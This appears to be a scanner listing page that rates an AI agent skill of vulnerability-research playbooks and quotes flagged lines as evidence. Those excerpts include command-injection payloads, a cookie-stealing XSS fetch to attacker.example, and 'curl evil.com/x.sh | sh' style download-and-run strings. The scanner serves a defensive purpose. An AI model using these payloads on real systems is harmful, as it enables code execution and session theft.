← All skills
analyst-overview
57 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By BitterSecurity/Decepticon (GitHub) · coding · 6,581 stars · scanned at commit bdb1016
Root pointer for the analyst's vulnerability research playbooks and catalog of vuln-class and chain-building skills.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: target.com, attacker.example
The author does not mention this.
Found in 49 places.
Show 17 more
- packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md, line 77
curl "https://target.com/export?filename=; sleep 7 #.pdf" - packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md, line 80
curl "https://target.com/export?filename=; id > /tmp/pwn #.pdf" - packages/decepticon/decepticon/skills/standard/analyst/data-and-model-poisoning/SKILL.md, line 90
curl -s -X POST "$TARGET/api/feedback" \ - packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md, line 115
curl -X POST https://target.com/api/import -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.set - packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md, line 121
curl -F 'file=@evil.phar' https://target.com/upload - packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md, line 142
poc_command="curl -X POST https://target.com/api/import --data-binary @payload.bin", - packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md, line 144
negative_command="curl -X POST https://target.com/api/import --data 'benign'", - packages/decepticon/decepticon/skills/standard/analyst/idor/SKILL.md, line 66
curl -X POST https://target.com/graphql \ - packages/decepticon/decepticon/skills/standard/analyst/idor/SKILL.md, line 90
3. `curl -b sessionA /api/objects/<objectB>` — should 403. - packages/decepticon/decepticon/skills/standard/analyst/idor/SKILL.md, line 95
2. Call admin endpoint: `curl -b sessionU -X POST /api/admin/users/<victim>/role -d '{"role":"admin"}'`. - packages/decepticon/decepticon/skills/standard/analyst/improper-output-handling/SKILL.md, line 39
<img src=x onerror=fetch('https://attacker.example/?c='+document.cookie)> - packages/decepticon/decepticon/skills/standard/analyst/improper-output-handling/SKILL.md, line 109
nothing else: `<img src=x onerror=fetch('//attacker.example/?c='+document.cookie)>`. - packages/decepticon/decepticon/skills/standard/analyst/ml-model-extraction/SKILL.md, line 47
curl -s -X POST "$API/predict" -d '{"features": [0,0,0]}' | jq . - packages/decepticon/decepticon/skills/standard/analyst/ml-model-extraction/SKILL.md, line 57
curl -s -X POST "$API/predict" -d '{}' | jq .error - packages/decepticon/decepticon/skills/standard/analyst/prototype-pollution/SKILL.md, line 70
curl -X POST https://target.com/api/settings \ - packages/decepticon/decepticon/skills/standard/analyst/prototype-pollution/SKILL.md, line 75
curl https://target.com/api/render-pdf - packages/decepticon/decepticon/skills/standard/analyst/redos/SKILL.md, line 158
t0 = time.time(); requests.post(TARGET, json={"input": benign}, timeout=30); t_benign = time.time()-t0
and 29 more places
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.
Found in 85 places.
Show 17 more
- packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md, line 157
python - <<'EOF' - packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md, line 180
pip install adversarial-robustness-toolbox - packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md, line 195
python - <<'EOF' - packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md, line 219
scapy - <<'EOF' - packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md, line 239
pip install adversarial-robustness-toolbox foolbox cleverhans - packages/decepticon/decepticon/skills/standard/analyst/bounty-hunting/SKILL.md, line 45
find /workspace/target -name 'package.json' -o -name 'pyproject.toml' \ - packages/decepticon/decepticon/skills/standard/analyst/bounty-hunting/SKILL.md, line 77
- `exec()`, `eval()`, `spawn()`, `subprocess.run()`, `os.system()` - packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md, line 19
| Python | `os.system`, `subprocess.Popen(..., shell=True)`, `os.popen`, `commands.getoutput` | `subprocess.run([...], shell=False)` | - packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md, line 20
| Node | `child_process.exec`, `execSync` | `child_process.execFile`, `spawn` (array args) | - packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md, line 46
grep -rE 'os\.system\(|subprocess.*shell\s*=\s*True|exec\s*\(' /workspace/src - packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md, line 48
grep -rE 'child_process\.(exec|execSync)\(' /workspace/src - packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md, line 68
- **Git** — `git clone 'ssh://ext::sh -c whoami # foo'` - packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md, line 74
curl "https://target.com/export?filename=; curl $(whoami).attacker.oob/" - packages/decepticon/decepticon/skills/standard/analyst/data-and-model-poisoning/SKILL.md, line 60
grep -rE '/feedback|rate_response|thumbs|user_rating|/improve|training_data' /workspace/src - packages/decepticon/decepticon/skills/standard/analyst/data-and-model-poisoning/SKILL.md, line 89
for i in $(seq 1 200); do - packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md, line 37
grep -rE 'pickle\.loads?\(|yaml\.load\([^)]*Loader=(FullLoader|Loader)?\)|torch\.load\(' /workspace/src - packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md, line 79
find /workspace/src -name 'pom.xml' -exec grep -lE 'commons-collections|spring-beans|xalan|bcel|commons-beanutils' {} +
and 65 more places
Downloads and installs other software
The author does not mention this.
Found in 21 places.
Show 17 more
- packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md, line 239
pip install adversarial-robustness-toolbox foolbox cleverhans - packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md, line 64
- **Command substitution in filename** — `$(curl evil.com/x.sh | sh).jpg` - packages/decepticon/decepticon/skills/standard/analyst/improper-output-handling/SKILL.md, line 56
``; curl attacker | sh``. - packages/decepticon/decepticon/skills/standard/analyst/ml-model-extraction/SKILL.md, line 156
pip install -r requirements.txt - packages/decepticon/decepticon/skills/standard/analyst/ml-model-extraction/SKILL.md, line 230
pip install ml-privacy-meter - packages/decepticon/decepticon/skills/standard/analyst/ti-anyrun-lookup/SKILL.md, line 382
| anyrun-sdk (Python) | Python SDK for API integration | `pip install anyrun-sdk` | - packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md, line 20
pip install ioc-finder ioc_fanger stix2 pymisp - packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md, line 388
| ioc-finder | Python IOC extractor — 20+ IOC types | `pip install ioc-finder` | - packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md, line 389
| ioc_fanger | Defang/refang IOC strings | `pip install ioc_fanger` | - packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md, line 391
| PyMISP | Python MISP API client | `pip install pymisp` | - packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md, line 392
| stix2 | STIX 2.1 Python library | `pip install stix2` | - packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md, line 20
apt-get install -y yara || pip install yara-python - packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md, line 23
cargo install yara-x - packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md, line 27
cd /opt/yarGen && pip install -r requirements.txt - packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md, line 376
cargo install yara-x # Install - packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md, line 387
| yara | Rule scanning engine | `apt install yara` | - packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md, line 389
| YARA-X | Rust rewrite — stricter, faster | `cargo install yara-x` |
and 1 more places
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'analyst-overview' ] || [ -L ~/.agents/skills/'analyst-overview' ]; then echo 'A skill folder named analyst-overview already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/BitterSecurity/Decepticon' "$d" && git -C "$d" checkout --quiet 'bdb1016c93ed687f61ac57481da298c25a47c8f5' -- 'packages/decepticon/decepticon/skills/standard/analyst' && mkdir -p ~/.agents/skills && cp -R "$d"/'packages/decepticon/decepticon/skills/standard/analyst' ~/.agents/skills/'analyst-overview' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'analyst-overview' ~/.claude/skills/'analyst-overview' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for BitterSecurity/Decepticon shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/BitterSecurity/Decepticon/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | bdb1016 | 57 |
| 2026-11-08 | df87955 | 57 |